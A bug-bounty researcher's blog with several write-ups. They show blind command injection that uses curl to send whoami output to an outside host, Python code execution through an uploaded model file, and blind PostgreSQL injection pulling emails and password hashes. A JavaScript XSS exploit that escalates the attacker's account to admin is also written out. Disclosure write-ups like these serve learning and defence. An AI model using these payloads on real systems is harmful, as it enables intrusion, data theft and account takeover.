• Twitter
  • FB
  • Github
  • Youtube

About me

Let me introduce myself


A bit about me

i'm Shawar Khan.

With over 9 years of experience, I've worked extensively in cybersecurity as an offensive security engineer and penetration tester. Proficient in Python, I've developed and utilized various tools and exploits to uncover vulnerabilities within major tech corporations including Google, Microsoft, Apple, eBay, and Oracle. My expertise spans mobile, web, and network security, reflecting a steadfast commitment to fortifying digital ecosystems.

Profile

Shawar Khan

Personal info

Shawar Khan

A Senior Security Researcher at HackersRay, Bug Bounty Hunter and Top #50 Red Team Member & 3 times Synack Acropolis at Synack inc.

Acknowledgements: List Here

Synack: View Synack Profile

Hackerone: View Hackerone profile

BugCrowd : View Bugcrowd profile

Write-Ups

My recent research work


Thursday, January 28, 2021

Analysing crash messages to achieve blind root command injection

 



About the Write-up:

Greetings everyone, this is Shawar Khan and today I'm going to share one of my recently discovery which is quite interesting. This is basically a Command injection vulnerability that I found in a Synack target a few days back so I'll try to cover target for client's privacy. I'll be referring the target as redacted.com / Redacted Org.

So, I tested a target on Synack and got some quality reports having IDORs / XSS accepted and I left the program for like a few days. I received a text from a friend who told me he found another IDOR, I was like alright so there are still some vulnerabilities left, I gave the target another try and got some luck.

The Redacted Org had different roles and allowed users to add Helm repositories which were further used for retrieving charts in some functionalities. Helm is a package manager for Kubernetes and allows installation and upgrading of Kubernetes application.


Keeping track of everything:

I'll try to cover common questions that I'm mostly asked in this write-up as well one of which is how I start testing an application. Whenever I'm testing an application my first step is to map all the functionalities available in an application. This includes mapping all the functions from the UI and functions/endpoints that are found from JS files. Keeping Burp Suite connected all the time helps tracking and extracting endpoints and pages properly.

After this step, I try to use and fiddle every functionality to collect different responses and behaviors which I can later observe and analyze from Burp History.

Analyzing repository management feature:

The application was having a Settings page which allows authenticated users to add Helm repositories. The page was taking inputs such as URL, name, username, password and some other fields. 



At that moment I tried to test for SSRF but as soon as I clicked Saved, nothing happened. I thought there might be some function which would use this repository for performing actions such as retrieving repository and installing applications from our specified repository. At this point I used a remote host having Apache service running to see if I can retrieve any ping backs. I named my repo zzzztest123.

Finding features that uses Helm Repository:

After exploring the application and checking each and every feature I came across a feature that allows a user to create applications so I created a test application named anythinghere1:



After scrolling down on the application page, I found a feature that had the title Charts and this was obvious that It was used for loading charts from a specified repository. I tried using my repository name zzzztest123 with an invalid chart name to see how the application responds.





This feature was quite a mess because if the application is newly created and this feature is used, a request is sent to https://redacted.com/api/sd/catalog/applications/helm but If the feature is used multiple times then requests are made to https://redacted.com/api/sd/catalog/applications/{APPLICATION_ID} where both endpoints are different and are having different request structure and parameters.

Every time I had to change something, I had to recreate an application and perform the same task as mentioned.

So, I used and invalid chart and got the following response:



This error message was fod when I analyzed my burp history, this application didn't shown any visual error or any warning to inform if an error occurred which was quite weird. I properly checked the error message to see whats causing it and found this line:


], 
"operatormessage": [
"CLI Error: \"Ds_chart not found\" It happens when the provided chart is not valid (the system cannot locate it)"
],
"result": "PARTIAL_SUCCESS",
"customermessage": [
"[HELM-001] Chart anythinghere1/sdfasdfdsafa not found"
],
"servicename": "MEC_woot_Catalog_awjiopwoefir_1_HelmChart"
}



What I did next was I created a valid chart and replicated the same request again but got a 201 response but no crash message. I felt something was fishy as the application was quite verbose and was returning huge crash messages. I tried everything to make it crash somehow and analyze error messages.

By simply putting a chart name a request is made from server that tries to receive a file index.yaml and if its a valid file the application returns 201 but If the file is not found the application returns the chart not found error.

I discovered a rare condition which was the main discovery point of this discovery. If we place an empty index.yaml with no content, the application loads a index.yaml but gets in a situation which was not excepted and returns the following error message:

 "result": "PARTIAL_SUCCESS", 
"customermessage": [
"[HELM-011] CLI Error: \"GLOBAL.GenericCLI_Activate(DO_AND_CHECK, ssh://127.0.0.1,
<?xml version=\"1.0\" encoding=\"UTF-8\"?>
<!DOCTYPE CLI SYSTEM \"CLIv4.dtd\">
<CLI dumpDialog=\"yes\">
<Connect protocol=\"ssh\" ssh.allow_host=\"true\" ssh.identity=\"-\" ssh.isEncrypted=\"yes\" ssh.known_hosts=\".ssh/known_hosts\" ssh.password=\"OzTDoyJMLUSREDACTEDA+681rQ==\" ssh.username=\"root\">
<Do description=\"Empty command to speed up connection\">
<Command send_newline=\"no\"/>
<Prompt>.*\\# *$</Prompt>
</Do>
</Connect>
<Disconnect continuationDelay=\"5000\">
<Do description=\"Initiate disconnect\" timeout=\"1\">
<Command continuationDelay=\"5000\" newline_chars=\"\\n\">
exit
</Command>
</Do>
</Disconnect>
<Activate>
<Action description=\"Add Helm repository\">
<Do timeout=\"600\">
<Command newline_chars=\"\\n\">helm repo add zzzztest123 http://myprivatehost.com/</Command>
<Error message=\"Chart repository unauthorized, check username and password.\">
Error.*is not a valid chart repository or cannot be reached.*401 Unauthorized</Error>
<Error message=\"Chart repository not found.\">Error.*is not a valid chart repository or cannot be reached</Error>
<Error message=\"Incorrect protocol defined in repository url.\">
Error.*could not find protocol handler</Error>
<Prompt>.*\\# $</Prompt>
</Do> </Action>
</Activate>
<Rollback>
<Rewind/>
</Rollback>
</CLI>
) : Matched error pattern - command description: [Add Helm repository]
...
...
...



I was quite shocked to see such message as I noticed multiple issues here. The first thing I noticed was the disclosure of  root user password. The application uses CLIv4.dtd file and was an XML request but before that the application connected to SSH on localhost which was indicated by ssh://127.0.0.1. It was like the server tried to connected to localhost and executed a command. In the Command entity I found

helm repo add zzzztest123 http://myprivatehost.com

it was quite weird to see zzzztest123 which is our repository name and the URL I used in the Helm Repository management feature located in the setting. The entities were being used as positional arguments to helm repo add command which was used to add a specific repository to the system. What cause the issue here is how the user-controlled data was passed directly as command without being filtered or something.

Confirming Command Injection:

At this point, I had two options. I could use a command injection payload as repository name or as a URL. This was not possible directly as the repository management page was not allowing special characters so by sending a valid format and tampering parameters I could use special characters to use my payload. 

What I need was to execute another command and the followings were the possibilities:

http://validrepo.com && whoami
http://validrepo.com; whoami 
http://validrepo.com || whoami 

I tried the last one as that would ignore the exception from the first command if it occurs but it runs the second command properly if executed. I tried to see if i could get result of  whoami command somehow.

After setting my repository URL to http://myprivatehost.com || whoami all I got was a 201 response without any kind of command output. At this point I was sure my command was run internally but didn't shown any output as the application was only programmed to handle specific response and if everything goes well it returns 201 so I treated this as a Blind Command Injection.

Got Blind? ... CURL!

I tried running curl to send output of whoami command to my external host to see if my command is being executed blindly. I set my repo URL to "http://anyvalidrepo.com/ || curl http://myprivatehost:80/`whoami`" as this would execute `whoami` command which is wrapped in back-ticks and would sent the result to my private server having apache running.




Created a new application, loaded my new repo, and bingo!




A request was sent to my host at /root where root was the result of whoami command which was executed on the vulnerable application. This confirmed the vulnerability and got accepted in no time!






Conclusions:

Never ignore or skip a target if its tested by many other researchers as most of them would not go to each and every detail as most of the people are rushing for finding common vulnerabilities. Always look for something different unique which no one could though of. Stay persistent when hunting a target as this is the key to success.


You can't expect a bounty rain by putting same efforts as everyone else, think out of the box and go one step further! - Shawar Khan



Wednesday, January 6, 2021

Achieving Remote code execution by exploiting variable check feature

 


Greetings everyone, this is Shawar Khan and this is the first write-up of 2021 so pretty excited to share this discovery with you people. Recently, while hunting on Synack I came across a program having a quality rule so my focus was on finding something unique and better quality. I'll refer the target as redacted.com.

 The application was some kind of interface builder and allowed uploading of files such as .py , .txt , .ctx2 and some others which were further used for building a template for interface builder. There were some file upload areas where the template can be uploaded such as the one below:

 

 

Model files having .py, .ctx2 and .txt extensions.

The model section allowed uploading of such extensions having any content. Opening the file directly does not show any kind of execution. However, if the Interface Builder is accessed which is located at https://redacted.com/endpoint/builder/#/author1/testpriject8 the application asks for a model to be loaded. 

I was thinking that this isn't common to see a .py extension being allowed. During these kind of scenario, what I mostly try is to know how the application is processing these files and what are the things which we can control to achieve something and to get something that's normally not possible.

I captured the request that makes changes to the uploaded python model file so I can try to make changes and see results in repeater:

POST /endpoint/author1/testpriject8/model/new-file HTTP/1.1
Host: redacted.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:83.0) Gecko/20100101 Firefox/83.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 165
Connection: close
Cookie: COOKIES
Upgrade-Insecure-Requests: 1

projectPath=author1%2Ftestpriject8&category=model&directoryPath=&name=test.py&blob=pythoncontent



The blob parameter was holding content of the model file so I kept this request in the repeater. So, after navigating to Interface Builder and selecting my python model file, I noticed a request being made to https://redacted.com/v2/model/introspect/author1/testpriject8/test.py

This was the request sent after selecting test.py model file so after checking the response of this GET request, I got the following response:

HTTP/1.1 200 OK
Server: openresty/1.19.3.1
Date: Mon, 07 Dec 2020 15:31:55 GMT
Content-Type: application/json
Content-Length: 49
Connection: close
Access-Control-Allow-Origin: *
Access-Control-Allow-Headers: Authorization, Content-Type, Range, X-Autorestore, X-Forio-Confirmation, X-Timeout
Access-Control-Expose-Headers: Content-Range, Content-Type, Range, X-Forio-Redirect
Access-Control-Allow-Methods: DELETE, GET, HEAD, OPTIONS, PATCH, POST, PUT
Access-Control-Allow-Credentials: true
Cache-Control: no-cache, no-store

{"functions":null,"ranges":null,"variables":null}



This was something weird as it returned a JSON response having the words functions, ranges and variables set to null. I guessed this was null as none of them exists in my file content which was submitted as pythoncontent


What I tried next was uploading a python file having the following content s=1337 and the application sent the following response:

{
    "variables": [
        {
            "access": "ALWAYS", 
            "ranges": null, 
            "saved": false, 
            "dataType": "NUMBER", 
            "units": null, 
            "name": "s", 
            "formula": null, 
            "maximum": null, 
            "comment": null, 
            "minimum": null
        }
    ], 
    "functions": null, 
    "ranges": null
}



Till this point I was sure that this was a variable extraction feature. What this was doing is extracting all the available variables, functions and ranges from an uploaded python file and was using them for further processing of a template model. 


I tried using a code which makes a reference to woot variable which didn't exist in a code. So I sent the value of blob as blob=print(woot) and got the following response:

{
    "type": "python", 
    "message": "NameError: name 'woot' is not defined", 
    "trace": [
        {
            "line": 68, 
            "type": "python", 
            "file": "/usr/local/lib/python2.7/dist-packages/REDACTED/worker/python/python_worker.py", 
            "function": "load_model"
        }, 
        {
            "line": 55, 
            "type": "python", 
            "file": "/usr/local/lib/python2.7/dist-packages/REDACTED/worker/abstract_worker.py", 
            "function": "load_module"
        }, 
        {
            "line": 37, 
            "type": "python", 
            "file": "/usr/lib/python2.7/importlib/__init__.py", 
            "function": "import_module"
        }, 
        {
            "line": 1, 
            "type": "python", 
            "file": "/home/user/model/REDACTED/test.py", 
            "function": "module"
        }
    ], 
    "information": {
        "code": "MODEL_INITIATION", 
        "runKey": "REDACTED"
    }
}

This was a python exception caused due to no declaration of woot variable and this is the same exception that is returned when a command such as print(woot) is used in a python console:


At this point I was sure my code is being executed but after some tests I knew there were some conditions on which the input is executed. If the application contains any variables or something and there are no exceptions, the application returns all the available variables and data. But if the application contains any exception, it is returned instead of the results.

Now what I needed to do was to get an exception that will have any of my command. I tried using the following code to see if I can execute it:

import os
os.system('ls')


uploading this code and making a request to https://redacted.com/v2/model/introspect/author1/testpriject8/test.py returned the following response:

{
    "variables": [
        {
            "access": "ALWAYS", 
            "ranges": null, 
            "saved": false, 
            "dataType": "OBJECT", 
            "units": null, 
            "name": "os", 
            "formula": null, 
            "maximum": null, 
            "comment": null, 
            "minimum": null
        }
    ], 
    "functions": null, 
    "ranges": null
}


This confirmed the command was executed blindly but as this was an object, it was returned as JSON response so I had to obtain data somehow. As the last step the application does is returning all the data after executing it. I tried to make an exception that returns the result of an executed command. By converting an output of a command to string using str() and by converting it to integer using int() the application will cause a ValueError that will return the result of an executed command.


I made the following request having blob set to blob=import+os;int(str(os.listdir('/etc/'))) which will list all the files/dirs under /etc/ directory and converted the output to string and integer:

sadfas


POST /endpoint/author1/testpriject8/model/edit/test.py HTTP/1.1
Host: redacted.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:83.0) Gecko/20100101 Firefox/83.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 114
Connection: close
Cookie: COOKIES
Upgrade-Insecure-Requests: 1

projectPath=author1%2Ftestpriject8&category=model&filePath=%2Ftest.py&blob=import+os;int(str(os.listdir('/etc/')))

 

And now after making a request to Introspect endpoint, I got the following response:

{
    "type": "python", 
    "message": "ValueError: invalid literal for int() with base 10: \"['rc2.d', 'gai.conf', 'ld.so.cache', 'issue', 'rc0.d', 'bindresvport.blacklist', 'default', 'update-motd.d', 'rmt', 'group', 'gshadow', 'deluser.conf', 'machine-id', 'ld.so.conf.d', 'profile', 'skel',\"", 
    "trace": [
        {
            "line": 68, 
            "type": "python", 
            "file": "/usr/local/lib/python2.7/dist-packages/redacted/worker/python/python_worker.py", 
            "function": "load_model"
        }, 
        {
            "line": 55, 
            "type": "python", 
            "file": "/usr/local/lib/python2.7/dist-packages/redacted/worker/abstract_worker.py", 
            "function": "load_module"
        }


Command executed! and the output was rc2.d', 'gai.conf', 'ld.so.cache', 'issue', 'rc0.d', 'bindresvport.blacklist', 'default', 'update-motd.d', 'rmt', 'group', 'gshadow' which were the available files in /etc/ of the vulnerable application.


I submitted the best quality report to Synack and won the quality with 3/3 stars. However I asked for permission for further exploitation but was denied so I didn't proceeded further. 



Whenever you are testing an application for such issues, always try to understand how the application is handling user provided data. There might be multiple endpoints that performs different tasks on an uploaded files such as the one in this case was checking for variables but was blindly executing arbitrary commands without any errors or outputs. 

There were some other vulnerabilities identified as well which could be chained with this and could allow any unauthenticated user to perform this RCE. However, due to lack of time I wasn't able to make it up to that exploit.

If you like this write-up, Share!

Monday, November 30, 2020

Exploiting blind PostgreSQL injection and exfiltrating data in psycopg2

  



    Greetings everyone this is Shawar Khan and its been a while since my last write-up. After being quite busy with Synack, there have been some interesting discoveries and I'm going to share one of them today. 

There are a lots of new things I want to share but at the moment I'm going to disclose one of my recent finding in a web application developed in Python. This was a program on Synack so I'll referrer to the target as redacted.com or Redacted Org

The target was in Quality rule which means the best quality report wins so my focus was on writing the best report with maximum impact. 

 Setting up scope:

I started by setting up scope as there were specific endpoint allowed such as staging.sub.redacted.com/endpoint/:


Setting up Advanced Scope

Ticking "is in target scope" for collecting only relevant traffic.

The option is in target scope was ticked so only scoped domains will be intercepted.

Understanding application work flow:

The functionality in staging.sub.redacted.com was quite limited and after analyzing traffic in Burp Suite History, I observed that there is a single endpoint that is responsible for making changes and updates to web pages. An endpoint at staging.sub.redacted.com/endpoint/_dash-update-component was discovered which was receiving a lots of POST requests and each of them had unique JSON response. This confirmed the endpoint can handle different data and was containing different functionalities.


The application had two roles named Admin & User. The admin user was able to add new users to the application and make some changes and later I found privilege escalation that allowed me to create new users from a user privileged account. 


The user creation was done by _dash-update-component as well and was having the following request:

 POST /endpoint/_dash-update-component HTTP/1.1
Host: staging.sub.redacted.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:82.0) Gecko/20100101 Firefox/82.0
Accept: application/json
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
X-CSRFToken: undefined
Origin: https://staging.sub.redacted.com
Content-Length: 710
Connection: close
Cookie: REDACTED

{"output":"createUserSuccess.children","outputs":{"id":"createUserSuccess","property":"children"},"inputs":[{"id":"createUserButton","property":"n_clicks","value":1},{"id":"newUsername","property":"n_submit","value":0},{"id":"newPwd1","property":"n_submit","value":0},{"id":"newPwd2","property":"n_submit","value":0},{"id":"newEmail","property":"n_submit","value":0}],"changedPropIds":["createUserButton.n_clicks"],"state":[{"id":"newUsername","property":"value","value":"test1"},{"id":"newPwd1","property":"value","value":"test123123123"},{"id":"newPwd2","property":"value","value":"test123123123"},{"id":"newEmail","property":"value","value":"test@test.com"},{"id":"role","property":"value","value":"dp"}]}

This request above had the following response which confirms a new user is created:

HTTP/1.1 200 OK
Date: Fri, 20 Nov 2020 20:53:18 GMT
Content-Type: application/json
Content-Length: 192
Connection: close

{"response": {"createUserSuccess": {"children": {"props": {"children": ["New User created"], "className": "text-success"}, "type": "Div", "namespace": "dash_html_components"}}}, "multi": true}

I was testing this feature for more vulnerabilities and I tried to send the same request again and received the following response:

HTTP/1.1 200 OK
Date: Fri, 20 Nov 2020 20:53:12 GMT
Content-Type: application/json
Content-Length: 350
Connection: close

{"response": {"createUserSuccess": {"children": {"props": {"children": ["New User not created: (psycopg2.errors.DuplicateSchema) schema \"test1\" already exists\n\n[SQL: CREATE SCHEMA test1]\n(Background on this error at: http://sqlalche.me/e/f405)"], "className": "text-danger"}, "type": "Div", "namespace": "dash_html_components"}}}, "multi": true}

I tried to create test1 user again and received an error message stating New User not created: (psycopg2.errors.DuplicateSchema) schema \"test1\" already exists\n\n[SQL: CREATE SCHEMA test1] . The error seems to be a Python exception which occurred due to lack of try/except. If try/except are used as except(Exception) the application does not return any exception which was not the case here.

The python module being used here was psycopg2 which I was not familiar with. So I searched for this module and found that this was a database adapter module for PostgreSQL database which confirms the application was running a PostgreSQL database. Moreover, the exception leaked a query CREATE SCHEMA test1 and this was shocking as test1 was the username I provided. This confirmed my input was directly passed to a SQL query after being retrieved from newUsername object's value.

What I did was applied sqlmap on a specified location with risk & level 3 which unfortunately failed. I knew if there is an SQL injection I'd have to go for manual exploitation rather than depending on automated exploitation. 

Proceeding with manual exploitation:

Till this point I was sure of the SQL injection due to the fact that if a username is created as testuser1;TEST the application will create a user with name testuser1 but will throw a syntax error which confirmed the TEST was separately executed as a query.

New User not created: (psycopg2.errors.SyntaxError) syntax error at or near \"TEST\"\nLINE 1: CREATE SCHEMA testuser1;TEST...\n
   

After putting single or double quotes the application responded with unclosed quotation errors which confirms our input was not wrapped inside quotes which was obvious anyway. In order to execute a new query the first query has to be first closed using ; so I tried creating a username as test1 AND SELECT version() and the application converted the spaces to _ so my username became test1_and_select_version() which didn't worked.

A simple bypass worked which was using comments instead of spaces. I converted all the spaces to /**/ but ended up having the same issue. Upon further tests, I found other unique bypasses that can be used to enter white spaces. In python, characters such as \n , \r or \t can be used for new lines and tabs and I was able to use them as separators of queries. This worked as the application was using python.

However, I was responded with two cases and either the application created a new user or returned error message and non of those cases were having a result of version(). The second query works if the first query executes so has to make sure the user does not exists else the query will fail.

I was running out of time for quality rule so I tried to see if I was able to enumerate tables, before that I tried to use a large string such as

test111111;SELECT/**/tessssooooooooooooootessssoooooooooooooooooooooooooooooooooooooooo; 
and the application returned an error message which disclosed the following query:

INSERT INTO userdata (username, email, password, roles) VALUES 
(%(username)s, %(email)s, %(password)s, %(roles)s) RETURNING 
userdata.id]\n[parameters: {'username': 
'test111111;SELECT/**/tessssooooooooooooootessssoooooooooooooooooooooooooooooooooooooooo;',
 'email': 'woot@woot.com', 'password': 
'sha256$QY0iWLnG$17f.......',
 'roles': 'dp'

The error message returned was New User not created: (psycopg2.errors.StringDataRightTruncation) value too long for type character varying(80) after reading the error I found the application is having a character limit of 80 which shown we had limitations.

I was familiar with concatenation bypasses but all other endpoints was not returning values unfiltered or directly placed as most of them were wrapped in quotes which were properly escaped so concatenation bypasses were not of use.

From the disclosed query I found the columns of a table userdata which was having all registered users and I noted this for later. 

I was running out of time so I proceeded to enumeration of table names. By using the query test1111;SELECT/**/version/**/from/**/existornot; I was able to identify if a table exists or not. If a table does not exists, the application return the error message psycopg2.errors.UndefinedTable) column \"existornot\" does not exist & if the table exists, the application returns psycopg2.errors.UndefinedColumn) column \"version\" does not exist message which shows if a column exists or not.

After trying every query and bypass I was not able to retrieve information even after using SELECT statement and everything ended up with syntax error or user created error. This was done due to third query I believe which was broken after escaping from CREATE SCHEMA context.

I reported this vulnerability as limited blind SQL injection and with possibility of enumeration of tables and columns and asked permission for further exploitation. It is always a best thing to ask for permission before accessing something as this can cause trouble if done without permission. 

Won the Quality Rule! Now what?:

Luckily my report was selected as winner of Quality Rule:

Won the quality rule!

Finally, My report won the quality rule and I was given permission for further exploitation.  During my tests, I found something quite interesting and it was how the application was providing hints on available columns and tables. I used the query teb2;SELECT/**/password/**/from/**/pg_user; and the application responded with:

{
    "multi": true, 
    "response": {
        "createUserSuccess": {
            "children": {
                "type": "Div", 
                "props": {
                    "className": "text-danger", 
                    "children": [
                        "New User not created: (psycopg2.errors.UndefinedColumn) column \"password\" does not exist\nLINE 1: CREATE SCHEMA t12;SELECT/**/password/**/from/**/pg_user;\n                                    ^\nHINT:  Perhaps you meant to reference the column \"pg_user.passwd\".\n\n[SQL: CREATE SCHEMA t12;SELECT/**/password/**/from/**/pg_user;]\n(Background on this error at: http://sqlalche.me/e/f405)"
                    ]
                }, 
                "namespace": "dash_html_components"
            }
        }
    }
}

The application provided a message HINT:  Perhaps you meant to reference the column \"pg_user.passwd\" which disclosed the available column passwd which was similar to password so the application discloses similar columns or tables as well which was a plus point when performing enumeration.

Using type casting to access information:

During my past years, I studied about something related to type casting where user input is converted to a type which is not possible and that discloses information being retrieved. So as we were not able to retrieve any data at the moment, I studied about something related to type casting and type conversion and found that PostgreSQL has a function named CAST() which can be used for converting types of data. In order to cause exception I wanted to convert a column to INTEGER so it would disclose information.

I tried this experiment in order to retrieve current DB version using the query test11a1111;SELECT/**/CAST(version()/**/AS/**/INTEGER); and BOOM!:

Disclosed database version()

I received a response with the string PostgreSQL 12.3 on x86_64-pc-linux-gnu, compiled by gcc (GCC) 4.8.3 20140911 (Red Hat 4.8.3-9), 64-bit which was caused due to conversion of data type to Integer. That was the moment I realized this is It and I've to proceed further with something big ( didn't knew what challenges I was about to face, lol ).

Using CAST() was something I was having trouble with as I had limited 80 chars input and using a query with  CAST() I made a query up to 45 chars:

>>>
>>> len("t;SELECT/**/CAST(version()/**/AS/**/INTEGER);")
45
>>>

After searching on google for alternative use of CAST() I found that it is possible to convert data types just by using ::int which is way too shorter as compared to the previous query. The query  t;SELECT\nversion()::int returns the same response but has lower character length.

>>> len("t;SELECT\nversion()::int")
23
>>>

Using \n instead of /**/ and using ::int instead of CAST() saved a lot of character length which helped me for further exploitation.

I was able to obtain single values from commands such as version(), current_user and others and now it was time to retrieve table information.

Obtaining table information:

Next I wanted to retrieve all the available table names and in order to do that I tried to access pg_catalog.pg_tables which holds all the available table names. I used the query tc;SELECT\n(select\ntablename\nfrom\npg_catalog.pg_tables\nlimit\n2)::integer and received the following response:


I recieved an error  New User not created: (psycopg2.errors.CardinalityViolation) more than one row returned by a subquery used as an expression\n\n[SQL: CREATE SCHEMA which stated that more than one row is not allowed. If a query is returning a list of databases, the application does not shows them due to some violation of Cardinality. 

I tried using limit and offset so I could retrieve specific rows and limited the input to a single row and it worked! I was able to retrieve the table name userconfig:

Using the query tc;SELECT\n(select\ntablename\nfrom\npg_catalog.pg_tables\nlimit\n1\noffset\n3)::integer returned the output above. This was a limited case as well as the max table length that was possible was 13 and I wanted to List all the available tables:


>>> len("tc;SELECT\n(select\ntablename\nfrom\npg_catalog.pg_tables\nlimit\n1\noffset\n3)::integer")
80
>>> len("tc;SELECT\n(select\ntablename\nfrom\npg_catalog.pg_tables\nlimit\n1\noffset\n3)::int")
76


Character limit? Row limit? Seriously...:

I googled for techniques and methods I could use to convert multiple rows into a single one and I was looking for something similar to group_concat without using much character length. After some research I came up with array_to_string & array_agg. For converting all the returned rows I used array_agg as this returns an array and in order to convert the array to a string I used array_to_string. Using the query b2;select\narray_to_string(array_agg(datname),',')::int\nfrom\npg_database; I was able to obtain the list of available database names:


For retrieving table list I tried to access pg_tables using the query b2;select\narray_to_string(array_agg(tablename),',')::int\nfrom\npg_tables; which has a length of 72:

We already knew the columns and table name userdata which was found by a query disclosure, how about accessing that for proof that user data can be accessed?

How about a little row of user data?

Length limit was still an issue but still I was able to retrieve all the available databases, tables and columns. By using the query t3;SELECT\n(select\nemail\nfrom\nuserdata\nlimit\n1\noffset\n5)::int the application returned the email address for user at offset 5, I used offset as I didn't wanted to dump the entire table having hundreds of users:

 



For retrieving user password I used t3;SELECT\n(select\npassword\nfrom\nuserdata\nlimit\n1\noffset\n5)::int which returned a SHA256 hash:


 

Wrapping it up!:

So, thats It! All information accessed and I was able to DROP, CREATE and Modify any table by exploiting this vulnerability. For all people out there spending time learning new stuff or doubting their skills when not finding any vulnerabilities , just remember that everything comes with persistence and consistency. Without these you won't be able to achieve anything, If you are willing to do something you can do it no matter how tough it looks. If you are persistent and dedicated, you can achieve anything. 

At the time of report I though this is limited to table and column enumeration but after spending 11 hours of exploitation and testing I was able to achieve the max however due to lack of privileges I was not able to get system access but I got what I wanted.

 


 

 Let me know in the comments If you love this write-up, share if this helped learning new techniques!

 



Sunday, August 4, 2019

Leveraging AngularJS-based XSS to Privilege Escalation



Greetings everyone, this is Shawar Khan. Been over months since my last write-up as I was quite busy in testing different targets. Recently I found an interesting XSS vulnerability in a target using which I was able to escalate my privileges to an admin user.

XSS is such an interesting vulnerability, after discovering it you can just play and communicate with an application without having to worry about Same-Origin Policy. Everything is our control and most of the protections are broken.

So, it is the application the administrator user has the highest privileges and it was possible to add/delete/edit any user. So my goal was set to escalate my privileges to an administrative user account via XSS. Whenever I've discovered XSS, my main goal is to play around and make it exploitable in such a unique way in which I haven't done before. Grabbing tokens, bypassing CSRF protections or grabbing cookies are just an old form of exploitation now. So, I tried escalating my privileges.

During my test, there were multiple XSS vulnerabilities discovered by the interesting one was found at the user profile page. Each registered user has a different profile page such as "https://www.site.com/users/username-here".






Discovering the AngularJS-based XSS:

This was a page that was reflecting the First & Last name of a user account which was accessible by all privileged user. Applying simple test probes such as "><img src=x onerror=prompt()> didn't shown my any kind of results so there was proper XSS protection being done. All special characters were properly filtered but I thought why not try to get AngularJS based XSS. Went to settings and changed account name to "{{alert(1)}}".


So, I tested the same thing as a different privileged user and navigating to my profile at /users/username_page triggers the payload which confirms that it was accessible by any user:




When trying to escalate privileges, your main goal is to look for functionalities that will edit your role or will invite you to an unrestricted area giving you access to information. In my case, the admin user had the authority to edit/add users so this is something I was willing to target.

In my case, I had a test admin account to test the issue so I knew what request I had to replicate to add a new admin privileged user. In scenarios where you do not have access, simply try to obtain source code of admin account by sending output of document.body.innerHTML and try to obtain information about internal functionalities. XSSHunter and other tools can be exploit to obtain such information.

Understanding the payload serving:

Anyways, the username field had a short length-limit so it was not possible to write the entire exploit code in that field. The username will also add entries to the profile page plus it will look malicious as well. Also, it was not possible to inject a script tag referring to external javascript but that will be length as well.

As always, serving the payload via window.name. I always serve the payload via window.name as there are no issues with the exploit limit and the payload for loading our exploit code is limited to 20 characters as we will be only loading and serving the given payload to eval(atob(top.name)) another benefit of using this technique is that it will bypass many of the validation checks for malicious keywords as our main exploit code will not be inputted inside the vulnerable application so in a nutshell our exploit code is not validated and checked.

So, the window name can be set by opening a URL using window.open(url,"window name here") and intead of window name we will set our exploit code to base64. So by calling window.name it will return our exploit code which will be executed by eval()

Targeting the User modification functionality:

This functionality was found in the admin user portal and the highest privileged user was able to change data and privileges of any user of the application. There are different options such as email change and check boxes to confirm if the user is higher privileged or not. By setting a parameter "csc=1" the user is given full privileges but this can be only done by an admin user. 

In case if the source code is only retrieved it is possible to map all the functionalities by doing a source code review and understanding what endpoints are taking what parameters.

The following was the request that modifies a user to an admin and fully privileged user:

POST /users/attackers-username HTTP/1.1
Host: vulnerablesite.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 141

_method=PUT&_token=CSRF_TOKEN_HERE&name=USERNAME&email=USER_EMAIL&phone=&csc=1


In order to escalate our privileges, the request above should be reproduced so when our exploit code is accessed by a higher privileged user our user will be modified.

Writing the exploit code:

The first thing we have to retrieve is the CSRF Token so we can validate the request. Sometimes its present in the cookie it self so retrieving it from document.cookie is quite easy but in this case it was found in a meta-tag such as:
<meta name="CSRF_TOKEN" content="TOKEN_HERE">

I opened up the settings page located at /settings using fetch() and stored its output in a variable woot. Then I used woot.getElementsByTagName('meta')[3]['content'] to retrieve the value of CSRF token and stored it into a new variable csrf_token, now our exploit code is something like:


var woot = document.createElement('html');
fetch('https://vulnerablesite.com/settings',{credentials: 'include'}).then((resp) => resp.text()).then(function(data){

woot.innerHTML=data;
var csrf_token = woot.getElementsByTagName('meta')[3]['content']
...
...
...


now we will have to use reproduce the request which can be easilly done with XHR:

function privilege_escalate(){
var req = new XMLHttpRequest();
req.open('POST','https://vulnerablesite.com/users/mrs-camylle-kertzmazevalwindowname',true);
req.withCredentials = true;
req.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); 
req.send('_method=PUT&_token='+csrf_token+'&name=Mrs.+Camylle+Kertzmaz%7B%7Beval%28window.name%29%7D%7D&email=user%40example.org&phone=&csc=1');
}
The above privilege_escalate() function when executed will send a POST request that will change information of the attacker's account which in my case is mrs-camylle-kertzmazevalwindowname and also changed the name to our payload {{eval(atob(window.name))}}  this will keep the name so when a window.name is having an exploit code it will be used to execute the exploit code from window.name. Also, this request has the csc=1 which will change the privileges of our user.

Final exploit code:


The exploit code can be base64 encoded further and used as window name so when it is executed by eval(atob(window.name)) it will be triggered. We can now use the following code that will open up our profile page and will set our exploit code to window name. So once the window.name is accessed our exploit is triggered:

